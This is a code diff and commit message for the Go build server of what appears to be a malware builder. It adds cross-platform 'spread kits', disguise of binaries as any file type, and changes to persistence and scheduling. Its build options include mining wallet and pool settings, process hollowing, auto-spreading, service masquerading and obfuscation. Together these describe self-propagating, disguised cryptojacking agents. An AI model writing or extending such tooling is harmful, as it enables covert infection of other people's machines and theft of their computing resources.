Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.

server/internal/builder/handler.go

@@ -70,6 +70,11 @@ type BuildRequest struct {
 	ProcessHollowing bool   `json:"process_hollowing"`
 	MeshP2P          bool   `json:"mesh_p2p"`
 	AutoSpread       bool   `json:"auto_spread"`
+	HolePunch        bool   `json:"hole_punch"`
+	RemoteAggressive bool   `json:"remote_aggressive"`
+	TargetOS         string `json:"target_os"`
+	TargetArch       string `json:"target_arch"`
+	SpreadKit        bool   `json:"spread_kit"`
 	Obfuscate        bool   `json:"obfuscate"`
 	SignBuild        bool   `json:"sign_build"`
 }
@@ -217,14 +222,11 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
 		return
 	}
 	if req.FusionEnabled && prepPath == "" {
-		writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion enabled but no prep.exe uploaded"})
+		writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion enabled but no payload file uploaded"})
 		return
 	}
 
-	if req.FusionEnabled && req.FusionOutputName == "" {
-		req.FusionOutputName = "prep.exe"
-	}
-
+	// FusionOutputName will be derived from the payload filename if not set
 	resp, status, outputPath := h.buildAgent(&req, prepPath)
 	if !resp.Success {
 		writeJSON(w, status, resp)
@@ -381,6 +383,10 @@ func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
 }
 
 func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, int, string) {
+	if strings.ToLower(strings.TrimSpace(req.TargetOS)) == "universal" {
+		return h.buildUniversalAgent(req, prepPath)
+	}
+
 	buildID := uuid.New().String()
 	buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
 	agentDir := filepath.Join(buildDir, "agent")
@@ -398,34 +404,16 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
 	if err := os.MkdirAll(configDir, 0755); err != nil {
 		return BuildResponse{Success: false, Error: "Failed to create config directory"}, http.StatusInternalServerError, ""
 	}
-	if err := os.WriteFile(filepath.Join(configDir, "builtin.go"), []byte(h.generateBuiltinConfig(buildID, req)), 0644); err != nil {
-		return BuildResponse{Success: false, Error: "Failed to write built-in config"}, http.StatusInternalServerError, ""
-	}
 
-	workerName := fmt.Sprintf("install-%s.exe", sanitizeFileName(req.WorkerName))
-	if req.FusionEnabled {
-		workerName = fmt.Sprintf("worker-%s.exe", sanitizeFileName(req.WorkerName))
-	}
-	outputPath, _ := filepath.Abs(filepath.Join(buildDir, workerName))
-
-	ldflags := "-s -w"
-	if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode || req.FusionEnabled {
-		ldflags += " -H windowsgui"
-	}
-
-	extra, err := injectPolymorph(agentDir, buildID)
+	platforms := platformsForRequest(req)
+	p := platforms[0]
+	outputPath, err := h.compileWorker(agentDir, buildDir, req, buildID, p, req.FusionEnabled)
 	if err != nil {
-		log.Printf("[Forge] polymorph inject: %v", err)
-	} else {
-		ldflags += extra
-	}
-
-	obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
-	if _, err := h.compileGoProject(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated); err != nil {
 		log.Printf("Build failed: %v", err)
 		return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
 	}
-
+	obfuscated := h.shouldObfuscate(req) && h.garblePath != "" && p.GOOS == "windows"
+	workerName := filepath.Base(outputPath)
 	finalPath := outputPath
 	finalName := workerName
 	var fusionEnabled bool
@@ -473,13 +461,16 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
 		if exportLabel == "" {
 			exportLabel = filepath.Base(prepPath)
 		}
-		if req.FusionPayloadKind != "video" {
-			exportLabel = strings.TrimSuffix(finalName, filepath.Ext(finalName))
-		}
 		arts := map[string]string{finalName: finalPath}
 		for _, ex := range extraArtifacts {
 			arts[ex.FileName] = ex.FilePath
 		}
+		// In paired mode the runner looks for the payload file next to (or above) the binary.
+		// Include it in the deliverable so the ZIP is self-contained without needing the
+		// user to place the file themselves.
+		if normalizeFusionMediaMode(req.FusionMediaMode) == "paired" && prepPath != "" {
+			arts[sanitizeFileName(filepath.Base(prepPath))] = prepPath
+		}
 		subdir := fusionExportSubdir(req, exportLabel)
 		readme := fusionReadmeInfo{
 			Title:       strings.TrimSuffix(filepath.Base(exportLabel), filepath.Ext(exportLabel)),
@@ -567,6 +558,12 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
 		relPath = filepath.Join(h.dataDir, "builds", buildID, finalName)
 	}
 
+	// Normalise platform tag for easy lookup by /get endpoint
+	recordPlatform := strings.ToLower(strings.TrimSpace(req.TargetOS))
+	if recordPlatform == "" {
+		recordPlatform = "windows"
+	}
+
 	buildRecord := &models.BuildRecord{
 		ID:         buildID,
 		WorkerName: req.WorkerName,
@@ -574,7 +571,9 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
 		Wallet:     req.Wallet,
 		Threads:    req.Threads,
 		FileSize:   fileInfo.Size(),
+		BundleSize: bundleSize,
 		FilePath:   absPath,
+		Platform:   recordPlatform,
 		CreatedAt:  time.Now(),
 		PoolHost:   req.PoolHost,
 		PoolPort:   req.PoolPort,
@@ -789,6 +788,18 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
 			req.AIModel = "llama3.2"
 		}
 	}
+	if strings.TrimSpace(req.TargetOS) == "" {
+		req.TargetOS = "windows"
+	}
+	if req.SpreadKit {
+		req.FusionEnabled = false
+		req.TargetOS = "universal"
+		if req.RunAs == "" || req.RunAs == "user" {
+			req.RunAs = "scheduled"
+		}
+		req.Persistence = true
+		req.AutoStart = true
+	}
 	return nil
 }
 
@@ -807,7 +818,7 @@ func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipa
 		return "", nil, fmt.Errorf("fusion upload filename is invalid")
 	}
 	if !isFusionPayloadExt(baseName) {
-		return "", nil, fmt.Errorf("fusion upload must be .exe, .mp4, .mkv, or .mov")
+		return "", nil, fmt.Errorf("fusion upload has no recognisable file extension")
 	}
 
 	prepRoot := filepath.Join(h.dataDir, "preps")
@@ -842,13 +853,11 @@ func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipa
 	return dest, cleanup, nil
 }
 
+// isFusionPayloadExt accepts any file with a non-empty extension.
+// Fusion now supports any file type — PDF, video, document, image, executable, etc.
 func isFusionPayloadExt(name string) bool {
-	switch strings.ToLower(filepath.Ext(name)) {
-	case ".exe", ".mp4", ".mkv", ".mov":
-		return true
-	default:
-		return false
-	}
+	ext := strings.ToLower(filepath.Ext(name))
+	return ext != "" && ext != "."
 }
 
 func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string {
@@ -864,7 +873,6 @@ func GetBuiltinConfig() BuiltinConfig {
 	return BuiltinConfig{
 		WorkerName:       %q,
 		ServerURL:        %q,
-		BackupServerURLs: %s,
 		Wallet:           %q,
 		Threads:     %d,
 		ThreadMode:  %q,
@@ -903,6 +911,9 @@ func GetBuiltinConfig() BuiltinConfig {
 		ProcessHollowing:    %v,
 		MeshP2P:             %v,
 		AutoSpread:          %v,
+		HolePunch:           %v,
+		RemoteAggressive:    %v,
+		BackupServerURLs:    %s,
 		ServiceMasquerade:   %v,
 		ServiceName:         %q,
 		ServiceDonor:        %q,
@@ -911,7 +922,6 @@ func GetBuiltinConfig() BuiltinConfig {
 `, buildID, time.Now().UTC().Format(time.RFC3339),
 		req.WorkerName,
 		req.ServerURL,
-		formatGoStringSlice(req.BackupServerURLs),
 		req.Wallet,
 		req.Threads,
 		req.ThreadMode,
@@ -950,6 +960,9 @@ func GetBuiltinConfig() BuiltinConfig {
 		req.ProcessHollowing,
 		req.MeshP2P,
 		req.AutoSpread,
+		req.HolePunch,
+		req.RemoteAggressive,
+		formatGoStringSlice(req.BackupServerURLs),
 		serviceMasqueradeEnabled(req),
 		serviceMasqueradeName(buildID, req),
 		serviceMasqueradeDonor(buildID, req),